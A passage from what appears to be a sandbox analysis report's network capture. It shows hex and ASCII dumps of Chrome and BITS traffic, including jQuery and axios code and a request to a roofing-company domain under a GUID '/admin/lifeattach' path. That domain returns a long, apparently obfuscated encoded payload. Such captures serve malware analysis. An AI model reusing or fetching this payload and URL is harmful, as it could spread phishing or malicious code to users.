ile(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){va
2024-10-24 09:57:23 UTC	1369	IN	Data Raw: 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 79 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 79 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e Data Ascii: ateElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),a.appendChild(e).

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49706	104.21.68.211	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:24 UTC	544	OUT	GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/admin/lifeattach HTTP/1.1 Host: amsroofinginc.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:26 UTC	1087	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=em6un12rsh2m6kd78gid7rpnmg; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pjelhlkTmUZXvSCE%2FKL0o1A2FrjCVNYBQViTxGjI0tb7tFEjtcUZH0rmQCFod%2F0AeN%2B7ktVy7ortrtnO5qi6DQbsgJEdkNKUSwgBfQCZkuHZGypE4M1I3M7h1uktqDcQnp1OgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d791a3a1f28e9b5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1404&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1122&delivery_rate=2127847&cwnd=251&unsent_bytes=0&cid=9d2d5786d0b2530b&ts=1945&x=0"
2024-10-24 09:57:26 UTC	282	IN	Data Raw: 32 35 35 66 0d 0a 52 68 46 64 73 39 45 57 6f 46 6d 55 7a 55 56 4e 61 5a 55 53 76 55 6d 61 4f 78 45 55 77 73 32 61 53 35 47 65 78 70 56 4d 4a 56 6e 57 78 45 54 62 52 78 57 52 78 39 45 52 30 6c 44 56 48 64 32 61 4c 6c 58 56 35 4e 47 56 57 6c 6a 56 56 74 57 62 59 4a 6a 55 61 46 31 4d 6f 78 55 56 44 56 44 56 68 56 30 5a 34 45 47 53 53 52 6e 59 44 4a 30 63 5a 64 56 4e 75 42 31 55 4b 78 6d 59 70 6c 30 4b 44 70 47 65 76 70 31 56 47 74 47 55 6e 39 47 4f 6a 4e 6a 55 31 49 32 52 56 64 57 59 58 46 56 4f 4a 31 6d 55 73 70 56 62 47 46 6a 59 49 4a 6c 5a 5a 4e 6a 54 36 6c 6b 61 31 38 47 5a 48 46 7a 63 6c 4a 6a 57 32 4a 6d 62 52 52 6e 57 74 5a 45 64 68 64 46 65 31 38 6b 62 4f 68 6d 59 75 31 45 64 6a 4a 6a 56 35 46 32 56 5a 64 44 54 58 46 6a 65 4d 68 6c 55 73 56 47 53 52 Data Ascii: 255fRhFds9EWoFmUzUVNaZUSvUmaOxEUws2aS5GexpVMJVnWxETbRxWRx9ER0lDVHd2aLlXV5NGVWljVVtWbYJjUaF1MoxUVDVDVhV0Z4EGSSRnYDJ0cZdVNuB1UKxmYpl0KDpGevp1VGtGUn9GOjNjU1I2RVdWYXFVOJ1mUspVbGFjYIJlZZNjT6lka18GZHFzclJjW2JmbRRnWtZEdhdFe18kbOhmYu1EdjJjV5F2VZdDTXFjeMhlUsVGSR
2024-10-24 09:57:26 UTC	1369	IN	Data Raw: 33 70 45 56 7a 52 48 5a 79 59 56 61 68 4a 44 62 77 77 45 57 53 78 57 5a 49 46 46 64 6a 4a 44 62 32 6f 31 55 78 67 6d 57 48 42 58 4d 6a 4e 54 55 32 30 45 56 42 64 6e 53 59 46 54 61 69 4a 6a 55 31 55 6d 4d 78 67 32 59 74 52 47 63 69 70 32 62 33 5a 32 56 47 6c 48 5a 48 78 6d 61 69 64 55 56 7a 6c 46 57 4f 42 6e 57 48 56 31 63 61 64 6b 56 77 6b 31 56 73 4e 33 59 35 68 58 62 68 64 46 5a 71 6c 46 57 43 42 54 59 58 6c 54 64 4d 64 6b 57 77 70 31 4d 57 6c 6e 57 54 68 58 62 69 4a 54 4f 77 6f 46 57 4a 4e 58 59 48 5a 46 61 61 64 6b 56 35 78 30 52 6f 35 32 59 74 6c 54 4d 6a 4e 45 65 30 6c 31 56 73 56 48 54 48 46 44 62 69 35 57 56 7a 4a 57 62 47 4a 44 54 49 35 45 62 5a 4e 6a 55 77 4a 6d 4d 30 4d 33 59 7a 59 46 64 69 64 6c 52 35 56 47 57 30 74 57 59 59 35 30 64 69 64 6b Data Ascii: 3pEVzRHZyYVahJDbwwEWSxWZIFFdjJDb2o1UxgmWHBXMjNTU20EVBdnSYFTaiJjU1UmMxg2YtRGcip2b3Z2VGlHZHxmaidUVzlFWOBnWHV1cadkVwk1VsN3Y5hXbhdFZqlFWCBTYXlTdMdkWwp1MWlnWThXbiJTOwoFWJNXYHZFaadkV5x0Ro52YtlTMjNEe0l1VsVHTHFDbi5WVzJWbGJDTI5EbZNjUwJmM0M3YzYFdidlR5VGW0tWYY50didk
2024-10-24 09:57:26 UTC	1369	IN	Data Raw: 6b 6a 4d 61 68 6c 53 74 4a 32 52 35 4d 7a 54 74 5a 55 4d 6b 64 55 4f 35 6b 6c 4d 35 73 6d 57 54 68 6e 63 5a 31 57 55 7a 4e 47 53 4b 78 47 54 49 35 45 61 69 68 6c 51 33 6f 56 62 35 55 48 5a 44 46 54 62 5a 64 56 4d 77 4a 47 53 72 5a 6a 59 58 6c 54 64 69 4e 6a 54 33 6c 31 56 4f 78 47 54 48 46 6a 64 69 31 57 4f 36 4e 32 52 47 70 6d 57 55 52 58 62 69 4a 54 4e 77 77 45 57 4f 42 58 5a 74 56 6c 4e 4e 64 6c 56 30 5a 32 56 4b 46 44 5a 49 4a 6c 64 69 6c 47 65 77 4a 6d 62 43 46 44 5a 44 68 6e 64 6a 68 6b 55 75 4e 57 62 35 45 7a 59 44 68 6e 65 61 64 46 65 73 6c 31 4d 52 4e 48 5a 48 5a 46 4e 6b 64 6b 52 35 70 31 56 47 64 54 57 79 6b 7a 63 69 4e 54 53 32 45 32 56 31 38 6d 57 59 70 45 63 6b 52 45 64 74 4a 6d 4d 31 41 7a 54 74 78 57 64 68 64 6b 56 35 46 47 57 52 64 6a 59 Data Ascii: kjMahlStJ2R5MzTtZUMkdUO5klM5smWThncZ1WUzNGSKxGTI5EaihlQ3oVb5UHZDFTbZdVMwJGSrZjYXlTdiNjT3l1VOxGTHFjdi1WO6N2RGpmWURXbiJTNwwEWOBXZtVlNNdlV0Z2VKFDZIJldilGewJmbCFDZDhndjhkUuNWb5EzYDhneadFesl1MRNHZHZFNkdkR5p1VGdTWykzciNTS2E2V18mWYpEckREdtJmM1AzTtxWdhdkV5FGWRdjY
2024-10-24 09:57:26 UTC	1369	IN	Data Raw: 32 56 31 63 48 5a 59 4a 6c 59 6b 68 45 62 33 70 46 56 78 6f 6e 57 58 5a 55 65 5a 4a 44 61 6b 39 6b 61 76 52 48 5a 79 59 56 61 68 4a 44 62 77 77 45 57 4f 78 57 57 59 70 6b 61 68 4e 55 4d 71 6c 31 56 31 6f 6d 57 58 64 48 64 5a 35 6d 56 77 51 32 52 35 55 48 54 48 78 57 64 6a 68 6b 56 77 63 31 4d 53 56 7a 59 48 56 56 4f 6a 4a 6a 56 6f 4e 57 62 4f 39 47 57 55 39 6d 4e 4d 68 46 5a 73 6c 56 62 30 42 48 5a 44 46 6a 65 61 64 6c 52 35 6c 6c 4d 6e 52 6e 57 48 5a 6c 61 69 4e 6a 53 6f 52 32 52 73 5a 6e 59 75 4e 48 64 6b 4a 6a 56 70 46 6d 4d 73 42 44 54 58 5a 30 64 6a 64 6b 56 6f 4e 57 62 47 56 58 57 79 55 6c 4e 69 31 57 4f 31 70 46 57 78 30 57 59 58 5a 31 63 61 68 6b 54 73 52 47 53 30 6c 6d 59 7a 6f 30 61 61 68 56 53 32 30 45 57 43 52 54 53 49 35 6b 64 69 64 45 62 72 Data Ascii: 2V1cHZYJlYkhEb3pFVxonWXZUeZJDak9kavRHZyYVahJDbwwEWOxWWYpkahNUMql1V1omWXdHdZ5mVwQ2R5UHTHxWdjhkVwc1MSVzYHVVOjJjVoNWbO9GWU9mNMhFZslVb0BHZDFjeadlR5llMnRnWHZlaiNjSoR2RsZnYuNHdkJjVpFmMsBDTXZ0djdkVoNWbGVXWyUlNi1WO1pFWx0WYXZ1cahkTsRGS0lmYzo0aahVS20EWCRTSI5kdidEbr
2024-10-24 09:57:26 UTC	1369	IN	Data Raw: 62 68 64 46 5a 76 52 47 52 77 68 47 5a 59 4a 6c 64 6d 4e 56 4e 77 4a 32 56 6a 52 58 57 79 77 57 65 5a 4a 44 65 73 56 6d 4d 4b 5a 33 59 74 4a 46 62 6a 6c 57 4d 35 6c 31 56 53 42 48 5a 59 31 6b 4e 4f 52 56 51 73 5a 32 55 31 6f 33 59 70 46 6a 64 69 31 47 65 31 55 32 4d 43 5a 33 59 79 77 47 4d 68 64 56 4f 31 39 55 62 47 6c 32 59 79 6b 7a 63 6b 68 6c 55 73 39 30 4d 6b 42 6e 57 49 4a 31 62 50 70 6d 52 33 56 47 52 30 39 6d 57 58 78 6d 62 68 68 55 55 32 30 45 57 43 52 7a 54 79 45 44 61 6a 31 47 5a 77 4a 6d 61 76 52 58 54 59 4a 45 4e 50 4e 6a 51 6f 70 31 52 53 42 6e 59 74 4e 6d 4e 4e 52 45 64 32 52 57 62 57 6c 6e 57 74 68 6e 64 6b 70 48 63 76 46 32 56 53 74 6d 57 58 52 7a 4e 5a 4a 44 65 77 4e 47 52 77 6c 6e 57 58 35 45 4d 4c 52 55 51 7a 31 30 51 33 64 48 54 45 46 Data Ascii: bhdFZvRGRwhGZYJldmNVNwJ2VjRXWywWeZJDesVmMKZ3YtJFbjlWM5l1VSBHZY1kNORVQsZ2U1o3YpFjdi1Ge1U2MCZ3YywGMhdVO19UbGl2YykzckhlUs90MkBnWIJ1bPpmR3VGR09mWXxmbhhUU20EWCRzTyEDaj1GZwJmavRXTYJENPNjQop1RSBnYtNmNNREd2RWbWlnWthndkpHcvF2VStmWXRzNZJDewNGRwlnWX5EMLRUQz10Q3dHTEF
2024-10-24 09:57:26 UTC	1369	IN	Data Raw: 78 67 47 5a 48 64 57 61 50 4a 6a 57 32 4a 6d 62 52 52 33 59 79 77 6d 4e 61 52 31 62 34 35 45 57 43 52 7a 54 79 67 48 63 69 31 57 56 30 46 32 52 57 42 6e 57 79 67 47 4d 50 70 57 53 33 4e 47 53 6e 64 6a 57 74 6c 54 64 6b 4e 55 4d 7a 6f 31 56 73 35 57 59 49 46 6c 4e 4f 52 55 51 33 39 6b 4d 61 5a 6e 59 75 46 46 64 6a 4a 44 62 32 6f 46 56 76 56 33 54 55 31 30 4d 4f 68 6c 53 73 4a 47 56 30 4e 58 59 58 56 44 62 4d 64 46 61 73 46 32 56 6b 39 47 5a 45 39 47 65 4d 70 57 53 78 4d 57 62 57 52 33 54 7a 49 45 61 61 64 6b 55 77 4a 57 62 6a 52 58 57 74 6c 44 4d 6b 64 55 4f 30 39 55 61 30 6b 58 54 7a 49 45 4e 50 4e 6a 51 6f 70 31 52 53 42 6e 59 74 4e 47 64 6b 64 55 4f 33 39 55 61 30 6b 58 54 7a 49 45 4e 50 4a 6a 54 32 4a 32 52 35 6b 33 54 70 31 30 64 4e 52 55 51 33 6b 56 Data Ascii: xgGZHdWaPJjW2JmbRR3YywmNaR1b45EWCRzTygHci1WV0F2RWBnWygGMPpWS3NGSndjWtlTdkNUMzo1Vs5WYIFlNORUQ39kMaZnYuFFdjJDb2oFVvV3TU10MOhlSsJGV0NXYXVDbMdFasF2Vk9GZE9GeMpWSxMWbWR3TzIEaadkUwJWbjRXWtlDMkdUO09Ua0kXTzIENPNjQop1RSBnYtNGdkdUO39Ua0kXTzIENPJjT2J2R5k3Tp10dNRUQ3kV
2024-10-24 09:57:26 UTC	1369	IN	Data Raw: 64 55 56 6e 70 56 62 35 59 48 5a 48 5a 56 65 4d 64 6b 53 7a 4a 6d 4d 4f 4a 33 59 59 5a 6c 64 6b 64 55 56 6e 4e 6d 4d 78 67 6d 59 48 68 33 4e 61 64 45 62 36 4e 32 52 34 68 57 5a 55 42 58 61 69 64 55 4f 71 46 32 4d 78 67 6d 57 48 4a 56 65 61 68 6c 54 36 56 6d 4d 61 5a 6e 59 75 46 46 64 6a 4e 6a 55 31 49 32 52 56 5a 6a 59 74 6c 54 65 69 64 6c 52 7a 5a 57 56 43 31 6d 59 79 55 44 4d 4d 64 6c 57 6f 6c 6c 4d 57 64 6a 57 74 6c 54 64 6b 4e 55 4d 74 6c 31 56 78 41 6e 59 49 74 6d 4e 4b 46 6a 54 73 70 6c 4d 35 77 57 53 47 5a 6c 53 4a 5a 45 5a 73 6c 56 62 61 5a 6e 59 75 46 6c 62 50 4e 6a 54 35 6c 6c 65 77 4e 6e 59 79 34 45 61 69 4e 30 5a 70 56 6c 4d 57 35 6d 59 79 55 31 5a 57 56 31 61 6e 52 31 52 73 35 57 59 49 46 56 61 4c 52 46 64 74 4a 6d 4d 31 41 44 54 59 52 47 62 Data Ascii: dUVnpVb5YHZHZVeMdkSzJmMOJ3YYZldkdUVnNmMxgmYHh3NadEb6N2R4hWZUBXaidUOqF2MxgmWHJVeahlT6VmMaZnYuFFdjNjU1I2RVZjYtlTeidlRzZWVC1mYyUDMMdlWollMWdjWtlTdkNUMtl1VxAnYItmNKFjTsplM5wWSGZlSJZEZslVbaZnYuFlbPNjT5llewNnYy4EaiN0ZpVlMW5mYyU1ZWV1anR1Rs5WYIFVaLRFdtJmM1ADTYRGb
2024-10-24 09:57:26 UTC	1079	IN	Data Raw: 57 5a 49 46 46 64 69 64 6c 52 30 49 32 52 73 56 6e 57 59 31 45 64 4e 68 46 64 7a 45 32 52 73 42 6a 57 54 46 6a 65 6a 64 6b 52 71 70 46 56 77 56 6e 59 7a 51 57 65 5a 68 56 51 33 51 32 52 57 52 44 5a 44 46 6a 64 6b 31 6d 56 35 70 56 62 34 5a 48 5a 36 42 48 62 69 64 45 65 77 4e 47 53 4f 42 33 59 36 52 48 64 5a 68 31 5a 30 46 32 52 57 42 6e 57 79 67 47 4d 50 70 32 5a 77 77 6b 61 56 42 7a 59 49 64 32 4e 69 64 6c 52 30 77 30 56 6f 78 57 59 58 52 32 62 6b 52 30 62 78 77 6b 61 4a 52 54 54 36 74 57 4d 6a 31 6d 56 30 5a 32 55 31 41 6a 57 59 68 47 4d 4d 64 46 61 73 6c 31 56 53 4e 58 59 58 56 44 62 4d 35 6d 55 73 56 47 53 52 52 6e 59 58 5a 45 4e 69 64 45 62 31 70 46 57 4e 52 58 54 75 52 48 64 5a 68 31 5a 30 46 32 52 57 42 6e 57 79 67 47 4d 50 70 57 52 79 34 30 51 30 Data Ascii: WZIFFdidlR0I2RsVnWY1EdNhFdzE2RsBjWTFjejdkRqpFVwVnYzQWeZhVQ3Q2RWRDZDFjdk1mV5pVb4ZHZ6BHbidEewNGSOB3Y6RHdZh1Z0F2RWBnWygGMPp2ZwwkaVBzYId2NidlR0w0VoxWYXR2bkR0bxwkaJRTT6tWMj1mV0Z2U1AjWYhGMMdFasl1VSNXYXVDbM5mUsVGSRRnYXZENidEb1pFWNRXTuRHdZh1Z0F2RWBnWygGMPpWRy40Q0
2024-10-24 09:57:26 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 64 6b 64 6b 56 30 51 32 51 78 51 58 57 59 68 32 63 68 64 56 4e 73 4e 57 65 77 6b 48 54 48 64 47 65 4d 35 6d 55 73 56 47 53 52 52 6e 59 58 5a 45 4e 69 64 45 62 31 70 46 57 4e 52 58 54 75 52 48 64 5a 68 31 5a 30 46 32 52 57 42 6e 57 79 67 47 4d 50 70 57 52 34 39 30 51 30 4d 54 54 7a 49 45 4e 50 4a 54 4d 6f 56 32 51 78 38 6d 57 58 78 6d 62 68 68 55 55 32 34 55 65 30 41 54 54 71 46 6b 65 4f 68 6c 53 73 4a 47 57 77 55 48 5a 48 5a 46 4e 6b 4e 55 4d 76 70 31 56 47 74 6d 57 59 6c 55 64 6b 64 6b 56 30 51 32 51 78 51 58 57 59 68 32 63 68 64 56 4e 73 4e 57 65 77 6f 48 54 48 64 47 65 4d 35 6d 55 73 56 47 53 52 52 6e 59 58 5a 45 4e 69 64 45 62 31 70 46 57 4e 52 58 54 7a 51 48 64 5a 68 31 5a 30 46 32 52 57 42 6e 57 79 67 47 4d 50 70 57 52 7a 34 30 51 Data Ascii: 7ffadkdkV0Q2QxQXWYh2chdVNsNWewkHTHdGeM5mUsVGSRRnYXZENidEb1pFWNRXTuRHdZh1Z0F2RWBnWygGMPpWR490Q0MTTzIENPJTMoV2Qx8mWXxmbhhUU24Ue0ATTqFkeOhlSsJGWwUHZHZFNkNUMvp1VGtmWYlUdkdkV0Q2QxQXWYh2chdVNsNWewoHTHdGeM5mUsVGSRRnYXZENidEb1pFWNRXTzQHdZh1Z0F2RWBnWygGMPpWRz40Q
2024-10-24 09:57:26 UTC	1369	IN	Data Raw: 46 61 7a 46 32 56 31 77 32 59 35 42 44 4d 6c 4a 54 4d 6f 56 32 51 78 38 6d 57 58 78 6d 62 68 68 55 55 32 30 45 56 5a 4a 44 54 71 31 6b 4d 6a 68 30 5a 33 49 32 56 47 52 44 54 58 68 47 62 68 64 46 5a 76 52 47 52 76 68 58 54 44 52 6a 65 50 52 31 59 79 34 45 57 4b 78 6d 59 59 42 54 64 6b 64 6b 56 30 51 32 51 78 41 54 59 59 4a 31 63 61 4e 46 65 76 31 30 4d 30 31 6d 59 79 55 44 4d 4d 68 6c 54 77 56 57 62 56 5a 54 54 71 4a 31 64 6c 52 45 64 7a 46 32 56 31 77 47 54 58 68 47 62 68 64 46 5a 76 52 47 52 76 6c 33 54 49 4a 45 4e 50 4a 6a 57 32 4a 6d 62 52 52 48 5a 79 59 46 63 61 4a 44 61 77 38 6b 61 4e 64 58 54 45 52 58 62 69 4a 54 4e 77 77 45 57 4f 42 58 5a 74 56 6c 4e 4e 4e 46 4e 78 4d 57 62 57 52 33 54 79 67 48 63 69 31 57 56 30 46 32 52 57 42 6e 57 79 67 47 4d 50 Data Ascii: FazF2V1w2Y5BDMlJTMoV2Qx8mWXxmbhhUU20EVZJDTq1kMjh0Z3I2VGRDTXhGbhdFZvRGRvhXTDRjePR1Yy4EWKxmYYBTdkdkV0Q2QxATYYJ1caNFev10M01mYyUDMMhlTwVWbVZTTqJ1dlREdzF2V1wGTXhGbhdFZvRGRvl3TIJENPJjW2JmbRRHZyYFcaJDaw8kaNdXTERXbiJTNwwEWOBXZtVlNNNFNxMWbWR3TygHci1WV0F2RWBnWygGMP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49712	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:30 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-24 09:57:30 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=24487 Date: Thu, 24 Oct 2024 09:57:30 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49715	151.101.129.229	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:30 UTC	507	OUT	GET /npm/axios/dist/axios.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:30 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 54147 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 1.7.7 X-JSD-Version-Type: version ETag: W/"d383-UevtiR1Ub6VyiQ12MPIw3BrQgvI" Accept-Ranges: bytes Age: 33743 Date: Thu, 24 Oct 2024 09:57:30 GMT X-Served-By: cache-fra-etou8220107-FRA, cache-dfw-kdal2120042-DFW X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-10-24 09:57:30 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 65 7c 7c 73 65 6c 66 29 2e 61 78 69 6f 73 3d 74 28 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 76 61 72 20 72 2c 6e 3b 66 75 6e Data Ascii: !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).axios=t()}(this,(function(){"use strict";function e(e){var r,n;fun
2024-10-24 09:57:30 UTC	1378	IN	Data Raw: 6e 28 65 29 7b 76 61 72 20 74 2c 72 2c 6e 2c 69 3d 32 3b 66 6f 72 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 3d 53 79 6d 62 6f 6c 2e 61 73 79 6e 63 49 74 65 72 61 74 6f 72 2c 6e 3d 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 29 3b 69 2d 2d 3b 29 7b 69 66 28 72 26 26 6e 75 6c 6c 21 3d 28 74 3d 65 5b 72 5d 29 29 72 65 74 75 72 6e 20 74 2e 63 61 6c 6c 28 65 29 3b 69 66 28 6e 26 26 6e 75 6c 6c 21 3d 28 74 3d 65 5b 6e 5d 29 29 72 65 74 75 72 6e 20 6e 65 77 20 6f 28 74 2e 63 61 6c 6c 28 65 29 29 3b 72 3d 22 40 40 61 73 79 6e 63 49 74 65 72 61 74 6f 72 22 2c 6e 3d 22 40 40 69 74 65 72 61 74 6f 72 22 7d 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 4f 62 6a 65 63 74 20 69 73 20 6e 6f 74 20 61 73 Data Ascii: n(e){var t,r,n,i=2;for("undefined"!=typeof Symbol&&(r=Symbol.asyncIterator,n=Symbol.iterator);i--;){if(r&&null!=(t=e[r]))return t.call(e);if(n&&null!=(t=e[n]))return new o(t.call(e));r="@@asyncIterator",n="@@iterator"}throw new TypeError("Object is not as
2024-10-24 09:57:30 UTC	1378	IN	Data Raw: 70 65 72 74 79 28 65 2c 74 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 72 2c 74 29 29 7d 29 29 7d 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 7d 3b 76 61 72 20 65 2c 74 3d 7b 7d 2c 72 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 3d 72 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 6f 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 65 5b 74 5d 3d 72 2e 76 61 6c 75 65 7d 2c 69 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3f 53 79 6d 62 6f 6c 3a 7b 7d 2c 61 3d 69 2e 69 74 65 72 61 74 6f 72 7c 7c 22 40 40 Data Ascii: perty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function s(){s=function(){return t};var e,t={},r=Object.prototype,n=r.hasOwnProperty,o=Object.defineProperty\|\|function(e,t,r){e[t]=r.value},i="function"==typeof Symbol?Symbol:{},a=i.iterator\|\|"@@
2024-10-24 09:57:30 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 65 29 7b 63 2e 76 61 6c 75 65 3d 65 2c 61 28 63 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 72 28 22 74 68 72 6f 77 22 2c 65 2c 61 2c 75 29 7d 29 29 7d 75 28 73 2e 61 72 67 29 7d 76 61 72 20 69 3b 6f 28 74 68 69 73 2c 22 5f 69 6e 76 6f 6b 65 22 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 72 28 65 2c 6e 2c 74 2c 6f 29 7d 29 29 7d 72 65 74 75 72 6e 20 69 3d 69 3f 69 2e 74 68 65 6e 28 6f 2c 6f 29 3a 6f 28 29 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 54 28 74 2c 72 2c 6e 29 7b 76 61 72 20 6f 3d 70 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 69 2c 61 29 7b 69 66 28 Data Ascii: nction(e){c.value=e,a(c)}),(function(e){return r("throw",e,a,u)}))}u(s.arg)}var i;o(this,"_invoke",{value:function(e,n){function o(){return new t((function(t,o){r(e,n,t,o)}))}return i=i?i.then(o,o):o()}})}function T(t,r,n){var o=p;return 